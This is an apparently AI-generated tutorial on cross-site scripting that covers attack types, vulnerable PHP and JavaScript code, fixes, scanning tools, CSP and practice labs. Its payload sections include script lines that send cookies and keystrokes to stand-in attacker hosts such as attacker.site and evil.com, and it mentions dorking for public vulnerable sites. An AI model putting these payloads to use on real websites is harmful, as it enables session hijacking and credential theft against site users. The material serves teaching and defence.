Complete Cross-site Scripting Walkthrough

🛡️ Complete Cross-Site Scripting (XSS) Walkthrough

From Basics to Exploitation & Defense

🧠 What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious JavaScript into trusted websites or applications. The script then runs in the victim’s browser in the context of that site.

🔥 Why It’s Dangerous:

Session hijacking
Credential theft
Defacing sites
Phishing through trusted domains
Full control via browser-based malware

🧱 Types of XSS Attacks

Type	Description	Example Impact
Reflected XSS	Script comes from user input and is reflected in the response immediately	Phishing links, stealing cookies
Stored XSS	Script is permanently stored on the server (DB, logs, comments, etc.)	Defacement, mass infections
DOM-based XSS	Script is executed due to vulnerable JavaScript on the client-side	Complex; bypasses backend sanitization

🔬 Reflected XSS Example

✅ Vulnerable code (PHP):

php

<?php
  $name = $_GET['name'];
  echo "Hello, $name";
?>

🔥 Attack:

html

https://vulnerable.site/page.php?name=<script>alert('XSS')</script>

🧪 Stored XSS Example

Scenario:

Comment box allows HTML input without sanitization

Input:

html

<script>fetch('http://attacker.site/cookie?c=' + document.cookie)</script>

Result:

Anyone viewing the comment will trigger the JavaScript

🧬 DOM-Based XSS Example

Vulnerable JS:

javascript

let name = location.hash.substring(1); // e.g. #<script>alert(1)</script>
document.getElementById("output").innerHTML = name;

Fix:

Never assign raw input to innerHTML. Use textContent.

🛠️ Common Payloads

Goal	Payload Example
Alert box	`<script>alert(1)</script>`
Cookie theft	`<script>fetch('https://x.com?c='+document.cookie)</script>`
Keylogger	`<script>document.onkeypress = e => fetch('x?'+e.key)</script>`
Iframe injection	`<iframe src="http://evil.com"></iframe>`
Event handler	`<img src=x onerror=alert(1)>`
Inline JS execution	`<svg onload=alert(1)>`

🧰 Tools for Finding and Testing XSS

Tool	Purpose
Burp Suite	Manual testing & fuzzing
XSStrike	Automated XSS scanner
XSS Hunter	Find blind XSS
DalFox	Advanced automated scanner
Google Dorks	Find public vulnerable endpoints

🚩 How to Detect XSS Vulnerabilities

Look for unsanitized user input reflected in HTML
Use automated scanners (Burp, DalFox, OWASP ZAP)
Try common payloads in inputs (form fields, URLs, headers)
Inspect DOM with dev tools for dynamic rendering flaws

🧱 Real-World XSS Examples

Twitter (2014) – tweet-based payload auto-executed in timelines
eBay – vulnerable item listings led to persistent XSS
Yahoo! Mail – attackers read mail using stored XSS
Tesla – multiple reports of XSS in dashboard parameters

🔐 How to Prevent XSS

Technique	Description
Input sanitization	Remove or encode suspicious characters (`<`, `>`, `"` etc)
Output encoding	Use `htmlspecialchars()` in PHP / `escape` in JS templates
CSP (Content Security Policy)	Prevents inline JS execution
HttpOnly cookies	Blocks access to `document.cookie` from JS
Use secure frameworks	React, Angular auto-sanitize most outputs
Avoid innerHTML	Use `textContent` or `innerText`

📜 Content Security Policy Example

http

Content-Security-Policy: default-src 'self'; script-src 'self'

This prevents external script execution and inline JS.

✅ XSS Walkthrough Summary

Step	What You Do
Identify inputs	Look for query params, forms, headers
Inject payloads	Use common test payloads in fields
Analyze behavior	Inspect response, check for script execution
Exploit	If reflected/stored/DOM-based, try real attacks
Mitigate	Sanitize input/output, apply CSP, use frameworks

📘 Want a Downloadable PDF Cheat Sheet?

Let me know — I’ll generate a 1–page printable PDF with:

Payload categories
Testing tools
Output encoding tips
CSP template
Vulnerability checklist

🧠 Bonus: XSS Labs to Practice On

Platform	Link
PortSwigger XSS Lab	https://portswigger.net/web-security/cross-site-scripting
HackTheBox / TryHackMe	Search for “XSS” rooms
OWASP Juice Shop	https://owasp.org/www-project-juice-shop/
XSS Game by Google	https://xss-game.appspot.com

📈 SEO Tags / Keywords

cross site scripting tutorial
xss payload examples
stored vs reflected xss
how to prevent xss in javascript
xss in dom walkthrough
xss for bug bounty

Download